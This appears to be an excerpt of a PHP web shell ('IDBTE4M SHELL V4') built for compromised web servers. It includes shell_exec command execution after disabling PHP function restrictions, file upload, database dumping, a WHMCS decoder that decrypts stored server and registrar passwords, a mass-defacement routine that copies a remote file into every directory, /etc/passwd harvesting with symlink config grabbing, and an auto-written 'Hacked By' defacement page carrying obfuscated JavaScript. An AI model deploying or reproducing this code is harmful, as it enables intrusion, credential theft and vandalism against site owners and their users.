514$jumper="fVJtb5swEP4rF4Rko7Ka7WMCpFLVfp20fWwrarA9PAFGtlmXVfvvuwtN1mjShEDmebl77kB3vYOkjLIdNHSDDKF6TLpRte7nY1KX0eOtoHNDmOWE1CdEkx3wNIxQgZ1s801HzoI0uhmd0iyDqoIigz2sEuaMYVtQVvPkznvnt/D1JEb681SKqGp8eHpQjLpU9sc5y3d5kJREIFgn2Q6Cjk20o24GO9rIC4Ru0hnFLwrrGTfriTOhYydWkOXMMxRZA3zzJszglRIBTx4+PMExFmzh1i1qeo7wRUsF7yr8m5By/IZ0XlpsKb2XB45IugTtwwXSuclcABbfih289HbQfGO0M/yUKXvFlUVPQ+BOwxlfo6Ozho9FQarZURfU4oGTJ2dbdgowyZEWG5YWiZUtcrKQQFn/iz6K6N2oBbs+O66ZwGkG2zV9HAfB1qb8b8UNuhhlJNyGxuOSaBf8WJOI45DNvIR+tYX87MbW71nslK82WiNdqb26orNxWLfr4a0CyLAOheU1/ans4d4tk4LNE5QSeq9NlewP1cU4l6Mk9X9IUQpZl62vGTXf138A";
515?>
516<html><head><link rel="SHORTCUT ICON" href="http://kefiex.yu.tl/files/bnx.png"><title>-=[ IDBTE4M SHELL V4 ]=-</title>
517<script type="text/javascript">
518function tukar(lama,baru){
519 document.getElementById(lama).style.display = 'none';
520 document.getElementById(baru).style.display = 'block';
521}
522</script>
523<style type="text/css">
524body{
525 background:#000000;;
526}
527a {
528text-decoration:none;
529}
530a:hover{
531border-bottom:1px solid #FF0000;
532}
533*{
534 font-size:11px;
535 font-family:Tahoma,Verdana,Arial;
536 color:#FFFFFF;
537}
538#menu{
539 background:#000000;
540 margin:8px 2px 4px 2px;
541
542}
543#menu a{
544 padding:4px 18px;
545 margin:0;
546 background:#c40909;
547 text-decoration:none;
548 letter-spacing:2px;
549 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
550}
551#menu a:hover{
552 background:#6a0707;
553 border-bottom:1px solid #c40909;
554 border-top:1px solid #c40909;
555}
556.tabnet{
557 margin:15px auto 0 auto;
558 border: 1px solid #c40909;
559}
560.main {
561 width:100%;
562}
563.gaya {
564 color: #FF0000;
565}
566.inputz{
567 background:#6a0707;
568 border:0;
569 padding:2px;
570 border-bottom:1px solid #c40909;
571 border-top:1px solid #c40909;
572}
573.inputzbut{
574 background:#6a0707;
575 color:#ff000;
576 margin:0 4px;
577 border:1px solid #444444;
578
579}
580.inputz:hover, .inputzbut:hover{
581 border-bottom:1px solid #FF0000;
582 border-top:1px solid #FF0000;
583}
584.output {
585 margin:auto;
586 border:1px solid #FF0000;
587 width:100%;
588 height:400px;
589 background:#000000;
590 padding:0 2px;
591}
592.cmdbox{
593 width:100%;
594}
595.head_info{
596 padding: 0 4px;
597 float:center;
598}
599.jaya{ font-family: ;}
600
601.b374k{
602 font-size:30px;
603 padding:0;
604 color:#444444;
605}
606.b374k_tbl{
607 text-align:center;
608 margin:0 4px 0 0;
609 padding:0 4px 0 0;
610 border-right:1px solid #c40909;
611}
612.phpinfo table{
613 width:100%;
614 padding:0 0 0 0;
615}
616.phpinfo td{
617 background:#6a0707;
618 color:#cccccc;
619padding:6px 8px;;
620}
621.phpinfo th, th{
622 background:#6a0707;
623 border-bottom:1px solid #c40909;
624font-weight:normal;
625}
626.phpinfo h2, .phpinfo h2 a{
627 text-align:center;
628 font-size:16px;
629 padding:0;
630 margin:30px 0 0 0;
631 background:#c40909;
632 padding:4px 0;
633}
634.explore{
635width:100%;
636}
637.explore a {
638text-decoration:none;
639}
640.explore td{
641border-bottom:1px solid #c40909;
642padding:0 8px;
643line-height:24px;
644}
645.explore th{
646padding:3px 8px;
647font-weight:normal;
648}
649.explore th:hover , .phpinfo th:hover{
650border-bottom:1px solid #FF0000;
651}
652.explore tr:hover{
653background:#6a0707;
654}
655.viewfile{
656background:#EDECEB;
657color:#000000;
658margin:4px 2px;
659padding:8px;
660}
661.sembunyi{
662display:none;
663padding:0;margin:0;
664}
665
666</style></head>
667<body onLoad="document.getElementById('cmd').focus();">
668<div class="main">
669<!-- head info start here -->
670<div class="head_info">
671<table ><tr>
672<td><table class="b374k_tbl"><tr><td><a href="?<?php echo "y=".$pwd; ?>&x=about"><span class="b374k"><img src="http://kefiex.yu.tl/files/bnx.png" /></span></a></td></tr><br>
673<div id="menu" align="left">
674<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
675<td><!-- onMouseOver="this.focus();" --><nobr><input type="file" name="file" class="inputz" size="50">
676<input name="_upl" type="submit" id="_upl" class="inputz" value="Upload"></form></div></b></td></tr></table></td>
677<td><?php echo $buff; ?></td>
678</td>
679</tr>
680</tr></table>
681</div>
682<div id="menu" align="center">
683
684<font color=red size=2 face="TAHOMA">
685<p align="center" dir="ltr"> <hr><center>
686<font color="red" font size=3 > | <font color="white" font size=3 >
687<a href="?" style="text-decoration: none">
688Home </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
689<a href="?jak=sql" style="text-decoration: none">
690SQL </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
691<a href="?jak=cp" style="text-decoration: none">
692Cpanel Cracker </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
693<a href="?jak=jump" style="text-decoration: none">
694Jumping </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
695<a href="?x=maling" style="text-decoration: none">
696Maling Script </a> <font color="white" font size=3 ></font>
697<font color="red" font size=3 > |</font>
698<br><hr><center>
699<font color="red" font size=3 > |</font>
700<a href="?jak=auto" style="text-decoration: none">
701Auto Wget </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
702<a href="?jak=config" style="text-decoration: none">
703Config Grabber </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
704<a href="?jak=wp2" style="text-decoration: none">
705Config Auto Get </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
706<a href="?jak=zonh" style="text-decoration: none">
707Zon-H </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
708<a href="?jak=mass" style="text-decoration: none">
709Mass Deface </a> <font color="white" font size=3 ></font>
710<font color="red" font size=3 >|</font>
711<hr>
712<font color="red" font size=3 >|</font>
713<a href="?jak=brute" style="text-decoration: none">
714Cp Brute </a> <font color="white" font size=3 ></font>
715<font color="red" font size=3 >|</font>
716<a href="?jak=finder" style="text-decoration: none">
717Admin Finder </a> <font color="white" font size=3 ></font>
718<font color="red" font size=3 > |</font>
719<a href="?jak=sym" style="text-decoration: none">
720Symlink </a> <font color="white" font size=3 ></font>
721<font color="red" font size=3 > |</font>
722<a href="?jak=dump" style="text-decoration: none">
723Db Dump </a> <font color="white" font size=3 ></font>
724<font color="red" font size=3 > |</font>
725<a href="?jak=has" style="text-decoration: none">
726Password Hash </a> <font color="white" font size=3 ></font>
727<font color="red" font size=3 > |</font>
728<a href="?jak=whmcs" style="text-decoration: none">
729Whmcs Decoder </a> <font color="white" font size=3 ></font>
730<font color="red" font size=3 > |</font>
731<a href="?jak=wpp" style="text-decoration: none">
732Wp Mass </a> <font color="white" font size=3 ></font>
733<font color="red" font size=3 > |</font>
734<hr>
735<font color="red" font size=3 >|</font>
736<a href="?jak=jomla" style="text-decoration: none">
737Jomla Mass </a> <font color="white" font size=3 ></font>
738<font color="red" font size=3 > |</font>
739<a href="?jak=wpmas" style="text-decoration: none">
740Wp Mass Manual </a> <font color="white" font size=3 ></font>
741<font color="red" font size=3 > |</font>
742</td><hr></center>
743</tr></table></div>
744
745<div id="viewfile" align="left">
746<form method="post">
747<td><nobr><b>CMD</b></nobr></td>
748<td><!-- onMouseOver="this.focus();" --><nobr><input id="cmd" class="inputz" type="text" name="cmd" style="width:300px;" value="" />
749<input class="inputzbut" type="submit" value=" >> " style="width:50px;" />
750</form>
751
752
753<?php
754if( $_POST['_upl'] == "Upload" ) {
755 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
756 else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
757}
758?>
759<?php
760/*******************************************\
761| CMD linux DTT 2014
762
763\*******************************************/
764$x0f = "fopen";
765$x10 = "fwrite";
766$x11 = "function_exists";
767$x12 = "shell_exec";
768if (isset($_POST['cmd'])) {
769 $x0b = $x0f('php.ini', 'w');
770 $x0c = " disable_functions=none ";
771 $x10($x0b, $x0c);
772 if ($x11('shell_exec')) {
773 $x0d = $_POST['cmd'];
774 $x0e = $x12("$x0d");
775 echo "<div id=result>";
776 echo "<span class=Y><pre>$x0e</pre></span";
777 }
778 echo "</div>";
779}
780?>
781<center>
782<div id="menu" align="center">
783<?php
784if (isset($_GET['jak']) && ($_GET['jak'] == 'dump')) { ?>
785<form action="?jak=dump" method="post">
786<?php
787echo $head.'<p align="center">';
788echo '
789<table width=371 class=tabnet >
790<tr><th colspan="2">Database Dump</th></tr>
791<tr>
792 <td>Server </td>
793 <td><input class="inputz" type=text name=server size=52></td></tr><tr>
794 <td>Username</td>
795 <td><input class="inputz" type=text name=username size=52></td></tr><tr>
796 <td>Password</td>
797 <td><input class="inputz" type=text name=password size=52></td></tr><tr>
798 <td>DataBase Name</td>
799 <td><input class="inputz" type=text name=dbname size=52></td></tr>
800 <tr>
801 <td>DB Type </td>
802 <td><form method=post action="'.$me.'">
803 <select class="inputz" name=method>
804 <option value="gzip">Gzip</option>
805 <option value="sql">Sql</option>
806 </select>
807 <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
808 </form></center></table>';
809if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
810$date = date("Y-m-d");
811$dbserver = $_POST['server'];
812$dbuser = $_POST['username'];
813$dbpass = $_POST['password'];
814$dbname = $_POST['dbname'];
815$file = "Dump-$dbname-$date";
816$method = $_POST['method'];
817if ($method=='sql'){
818$file="Dump-$dbname-$date.sql";
819$fp=fopen($file,"w");
820}else{
821$file="Dump-$dbname-$date.sql.gz";
822$fp = gzopen($file,"w");
823}
824function write($data) {
825global $fp;
826if ($_POST['method']=='ssql'){
827fwrite($fp,$data);
828}else{
829gzwrite($fp, $data);
830}}
831mysql_connect ($dbserver, $dbuser, $dbpass);
832mysql_select_db($dbname);
833$tables = mysql_query ("SHOW TABLES");
834while ($i = mysql_fetch_array($tables)) {
835 $i = $i['Tables_in_'.$dbname];
836 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
837 write($create['Create Table'].";\n\n");
838 $sql = mysql_query ("SELECT * FROM ".$i);
839 if (mysql_num_rows($sql)) {
840 while ($row = mysql_fetch_row($sql)) {
841 foreach ($row as $j => $k) {
842 $row[$j] = "'".mysql_escape_string($k)."'";
843 }
844 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
845 }
846 }
847}
848if ($method=='ssql'){
849fclose ($fp);
850}else{
851gzclose($fp);}
852header("Content-Disposition: attachment; filename=" . $file);
853header("Content-Type: application/download");
854header("Content-Length: " . filesize($file));
855flush();
856
857$fp = fopen($file, "r");
858while (!feof($fp))
859{
860 echo fread($fp, 65536);
861 flush();
862}
863fclose($fp);
864}
865
866}
867elseif(isset($_GET['jak']) && ($_GET['jak'] == 'has'))
868 {
869$submit= $_POST['enter'];
870if (isset($submit)) {
871$pass = $_POST['password']; // password
872$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
873$hash = md5($pass); // md5 hash #1
874$md4 = hash("md4",$pass);
875$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
876$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
877$hash1 = sha1($pass); // sha1 hash #4
878$sha256 = hash("sha256",$text);
879$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
880$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
881}
882echo '<form action="" method="post"><b><table class=tabnet>';
883echo '<tr><th colspan="2">Password Hash</th></center></tr>';
884echo '<tr><td><b>Enter the word you want to encrypt:</b></td>';
885echo '<td><input class="inputz" type="text" name="password" size="40" />';
886echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
887echo '</td></tr><br>';
888echo '<tr><th colspan="2">Hash Result</th></center></tr>';
889echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
890echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
891echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
892echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
893echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
894echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
895echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
896echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
897echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
898}
899elseif(isset($_GET['jak']) && ($_GET['jak'] == 'whmcs'))
900{
901?>
902<form action="?y=<?php echo $pwd; ?>&jak=whmcs" method="post">
903
904<?php
905
906function decrypt ($string,$cc_encryption_hash)
907{
908 $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
909 $hash_key = _hash ($key);
910 $hash_length = strlen ($hash_key);
911 $string = base64_decode ($string);
912 $tmp_iv = substr ($string, 0, $hash_length);
913 $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
914 $iv = $out = '';
915 $c = 0;
916 while ($c < $hash_length)
917 {
918 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
919 ++$c;
920 }
921 $key = $iv;
922 $c = 0;
923 while ($c < strlen ($string))
924 {
925 if (($c != 0 AND $c % $hash_length == 0))
926 {
927 $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
928 }
929 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
930 ++$c;
931 }
932 return $out;
933}
934
935function _hash ($string)
936{
937 if (function_exists ('sha1'))
938 {
939 $hash = sha1 ($string);
940 }
941 else
942 {
943 $hash = md5 ($string);
944 }
945 $out = '';
946 $c = 0;
947 while ($c < strlen ($hash))
948 {
949 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
950 $c += 2;
951 }
952 return $out;
953}
954
955echo "
956<br><center><font size='5' color='#FF0000'><b>--==[ WHMCS Decoder ]==--</b></font></center>
957<center>
958<br>
959
960<FORM action='' method='post'>
961<input type='hidden' name='form_action' value='2'>
962<br>
963<table class=tabnet style=width:320px;padding:0 1px;>
964<tr><th colspan=2>WHMCS Decoder</th></tr>
965<tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
966<tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
967<tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
968<tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
969<tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
970<td> <INPUT class='inputzbut' type='submit' style='color:#FF0000;background-color:' value='Submit' name='Submit'></td>
971</table>
972</FORM>
973</center>
974";
975
976 if($_POST['form_action'] == 2 )
977 {
978 //include($file);
979 $db_host=($_POST['db_host']);
980 $db_username=($_POST['db_username']);
981 $db_password=($_POST['db_password']);
982 $db_name=($_POST['db_name']);
983 $cc_encryption_hash=($_POST['cc_encryption_hash']);
984
985
986
987 $link=mysql_connect($db_host,$db_username,$db_password) ;
988 mysql_select_db($db_name,$link) ;
989$query = mysql_query("SELECT * FROM tblservers");
990while($v = mysql_fetch_array($query)) {
991$ipaddress = $v['ipaddress'];
992$username = $v['username'];
993$type = $v['type'];
994$active = $v['active'];
995$hostname = $v['hostname'];
996echo("<center><table border='1'>");
997$password = decrypt ($v['password'], $cc_encryption_hash);
998echo("<tr><td>Type</td><td>$type</td></tr>");
999echo("<tr><td>Active</td><td>$active</td></tr>");
1000echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
1001echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
1002echo("<tr><td>Username</td><td>$username</td></tr>");
1003echo("<tr><td>Password</td><td>$password</td></tr>");
1004
1005echo "</table><br><br></center>";
1006}
1007
1008 $link=mysql_connect($db_host,$db_username,$db_password) ;
1009 mysql_select_db($db_name,$link) ;
1010$query = mysql_query("SELECT * FROM tblregistrars");
1011echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
1012echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
1013while($v = mysql_fetch_array($query)) {
1014$registrar = $v['registrar'];
1015$setting = $v['setting'];
1016$value = decrypt ($v['value'], $cc_encryption_hash);
1017if ($value=="") {
1018$value=0;
1019}
1020$password = decrypt ($v['password'], $cc_encryption_hash);
1021echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
1022}
1023}
1024}
1025
1026?>
1027<?php
1028if (isset($_GET['jak']) && ($_GET['jak'] == 'mass')) { ?>
1029<form action="?jak=mass" method="post">
1030<?php ?>
1031<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
1032
1033<p class="style3">
1034
1035<span <ul>
1036
1037 <span class="style32">
1038 <span class="style39">
1039<span style="font-weight: 700;" class="style33">
1040 </span></p><br>
1041<span style="font-weight: 700;" class="style33">
1042 <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"><br>
1043<br>
1044</center>
1045<div class="style31">
1046<center>
1047<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
1048<div class="style31">
1049[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
1050[+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
1051<input type='submit' name='execmassdeface' value='Execute'></div>
1052</form></td></center>
1053<?php
1054echo "<center><textarea rows='10' cols='100'>";
1055$defaceurl = $_POST['massdefaceurl'];
1056$dir = $_POST['massdefacedir'];
1057echo $dir . "
1058";
1059if (is_dir($dir)) {
1060 if ($dh = opendir($dir)) {
1061 while (($file = readdir($dh)) !== false) {
1062 if (filetype($dir . $file) == "dir") {
1063 $newfile = $dir . $file . "/jek.php";
1064 echo $newfile . "
1065";
1066 if (!copy($defaceurl, $newfile)) {
1067 echo "failed to copy $file...
1068";
1069 }
1070 }
1071 }
1072 closedir($dh);
1073 }
1074}
1075echo "</textarea></center>";
1076}
1077?>
1078<?php
1079// SHELL IDBTE4M V2
1080// BY ./KEFIEX404 IDBTE4M
1081set_time_limit(0);
1082error_reporting(0);
1083
1084$htcs = "
1085<html>
1086<head>
1087<!-- SEO Meta Tag -->
1088<meta content='Hacked By JakRapp' name='description'/>
1089<meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
1090<meta content='index,follow' name='robots'/>
1091<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
1092<meta content='website' name='generator'/>
1093<meta content='general' name='rating'/>
1094<!-- SEO Title Tag -->
1095<title>Hacked By JakRapp</title>
1096<link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
1097<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
1098<meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
1099<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
1100<meta content='Hacked By JakRapp' name='description'/>
1101<script src='http://code.jquery.com/jquery-latest.min.js'></script>
1102
1103<style>
1104body{
1105font-family: 'courier new';
1106font-size:80%;
1107color: #28FE14;
1108background: url('http://2.bp.blogspot.com/-LPgZM8E1nKE/VA_RSPtWNvI/AAAAAAAAAu4/Dzs4tTNniFw/s1600/1w2w3.png') center fixed;
1109background-size: cover;
1110-webkit-background-size: cover;
1111-moz-background-size: cover;
1112-o-background-size: cover;
1113}
1114}
1115
1116.xBody{
1117width:660px;
1118height:450px;
1119position:absolute;
1120z-index: 9;
1121}
1122.ssh{
1123display:none;
1124z-index: 9;
1125}
1126.sshBox{
1127height:300px;
1128border: 4px solid white;
1129 -moz-border-radius: 4px;
1130 -webkit-border-radius: 4px;
1131 -o-border-radius: 4x;
1132 -khtml-border-radius: 4px;
1133 border-radius: 4px;
1134 z-index: 9;
1135}
1136.sshHead{
1137margin-bottom: 5px;
1138color:black;
1139font-weight: bold;
1140background-color: white;
1141height:20px;
1142z-index: 9;
1143
1144}
1145
1146.greenBox{
1147padding-left: 3px;
1148position: absolute;
1149height:22px;
1150border: 1px solid #28FE14;
1151z-index: 9;
1152}
1153.picz{
1154position: absolute;
1155width:500px;
1156height:80%;
1157display:none;
1158right:2px;
1159top:2px;
1160}
1161#mg img:hover {
1162-webkit-animation:tremer 0.5s linear infinite;
1163-moz-animation:tremer 0.5s linear infinite;
1164-o-animation:tremer 0.5s linear infinite;
1165animation:tremer 0.5s linear infinite;
1166}
1167.neon{<!--coleur lootz-->
1168color:blue;
1169text-shadow: 0 0 5px red,0 0 10px red, 0 0 30px orange, 0 0 45px yellow, 0 0 60px red;
1170}
1171.like{border:4px double yellow;
1172box-shadow:0px 2px 20px white;
1173border-radius:10px;
1174padding:9px;
1175height:310px;}
1176#mg img{border:4px double yellow;
1177
1178border-radius:10px;
1179opacity:0.75;
1180-moz-opacity: 0.75;
1181filter: alpha(opacity=75);
1182}
1183</style>
1184</head>
1185<body onselectstart='return false' ondragstart='return false' oncontextmenu='return false' onLoad='writetext()'>
1186<Script Language='Javascript'>
1187<!-- Lol Many scripts -->
1188<!--
1189document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74%69%6F%6E%20%62%79%20%4D%61%72%6B%65%74%61%63%74%69%63%6F%2E%63%6F%6D%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%34%43%25%36%31%25%36%45%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%44%25%32%37%25%34%41%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%37%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%32%30%25%34%38%25%35%34%25%34%44%25%34%43%25%32%30%25%34%35%25%36%45%25%36%33%25%37%32%25%37%39%25%37%30%25%37%34%25%36%39%25%36%46%25%36%45%25%32%30%25%36%32%25%37%39%25%32%30%25%34%44%25%36%31%25%37%32%25%36%42%25%36%35%25%37%34%25%36%31%25%36%33%25%37%34%25%36%39%25%36%33%25%36%46%25%32%45%25%36%33%25%36%46%25%36%44%25%32%30%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%30%41%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%37%35%25%36%45%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%34%33%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%33%34%25%32%35%25%33%37%25%33%39%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%34%35%25%32%35%25%33%36%25%34%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%39%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%34%36%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%34%35%25%32%35%25%33%33%25%34%34%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%34%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%30%25%34%31%25%32%37%25%32%39%25%32%39%25%33%42%25%30%41%25%32%46%25%32%46%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%46%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%27%29%29%3B%0A%2F%2F%2D%2D%3E%0A%3C%2F%53%63%72%69%70%74%3E'));
1190//-->
1191</Script>
1192<p>
1193<p>
1194<br>
1195<b><font color='blue' face='consolas' size='4'>
1196<p align='center' class='style2'><font face='Trajan Pro' size='10' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='yellow'>Hacked By JakRapp</font><p>
1197<font color='blue' face='consolas' size='4'>
1198<p align='center' class='style2'><font face='Trajan Pro' size='4' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b>./Jaka_Attacker ~ UstadzJaka ~ ./Zonkk ~ Jack D'Ripper ~ ./KLEMEZ<p></font>
1199<font color='blue' face='consolas' size='4'>
1200<center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
1201-=[[ Pasukan Berani Mati REBORN ]]=-<P>-=| GRETZ IDBTE4M | GOENK TEA | ./HDV | ADRIAN XDA | DIDOT | POETRA D`M | JACK D`RIPPER | DAY IDBTE4M | DIMAZ BN |=- <P>
1202-=| DEMONK | KHUNAY | MR-AQ | HENDRA D`N | PETAPA GENIT | KODRAT | MUZZAM | MAULANA | SIRIN |=-
1203</font><p></center>
1204<center><table width='100%' border='2'><tr><td width='10%' align='center'><blink><font Class-'glow' color='white'><code>My Friends : </code></font></blink></td><td width='90%'><font color='yellow' size='4'><marquee><code> Kefiex404 ~ FadliDotID_007 ~ ./elro-BN404 ~ k3c0t ~ RT05 ~ 4Z1S ~ Mr.Optimuz_r00t ~ Anzhi72 ~ NyengatGetar ~ CaFc_Br40ck ~ Hmei7 ~ ./S3mR4k4T ~ Mr.AchanX48 ~ ./Na-z ~ ./Ghost-Priox ~ Mr.Hari ~ 1n51d3r ~ M0NST3R-P1NK ~ LDera ~ nemat0da ~ b0L4ng ~ HYTHAN7 ~ M0NST3R-P1NK ~ AldiDotPhp ~ USTADCAGE_48</code></marquee></font></td></tr></table><html><center>
1205
1206<embed src='http://www.youtube.com/v/oWqWNMNFZlU&autoplay=1' type='application/x-shockwave-flash' wmode='transparent' width='1' height='1'></embed>
1207</body>
1208</html>
1209
1210";
1211$f =@fopen ('index.phtml','w');
1212fwrite($f , $htcs);
1213$pg = basename(__FILE__);
1214
1215$pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
1216$u = explode("/",$pageURL );
1217$pageURL =str_replace($u[count($u)-1],"",$pageURL );
1218
1219$pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
1220$u = explode("/",$pageFTP );
1221$pageFTP =str_replace($u[count($u)-1],"",$pageFTP );
1222?>
1223
1224<?php
1225if (isset($_GET['jak']) && ($_GET['jak'] == 'config')) {
1226?>
1227<form action="?&jak=config" method="post">
1228<?php @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
1229echo '<form method="POST"><textarea cols="30" name="passwd" rows="10">'; $uSr=file("/etc/passwd"); foreach($uSr as $usrr) { $str=explode(":",$usrr); echo $str[0]."\n"; } ?>
1230</textarea><br>Your Folder Config Name : <input type="text" class="input" name="folfig" size=40 />
1231<select class="inp" title="Select Your Type File" name="type" size=""><option title="type txt" value=".txt">.txt</option><option title="type php" value=".php">.php</option><option title="type shtml" value=".shtml">.shtml</option><option title="type ini" value=".ini">.ini</option></select>
1232<input name="conf" size="80" class="ipt" value="Hajar..." type="submit"><br><br></form></center>
1233<?php @ini_set('html_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
1234if ($_POST['conf']) {
1235$folfig = $_POST['folfig']; $type = $_POST['type'];
1236$functions=@ini_get("disable_functions"); if(eregi("symlink",$functions)){die ('<blink>Maaf Bosq fitur Symlink masih di disabled :( </blink>');}
1237@mkdir($folfig, 0755);
1238@chdir($folfig);
1239$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex jak.phtml\nAddType txt .php\nAddHandler txt .php";
1240file_put_contents(".htaccess",$htaccess,FILE_APPEND);
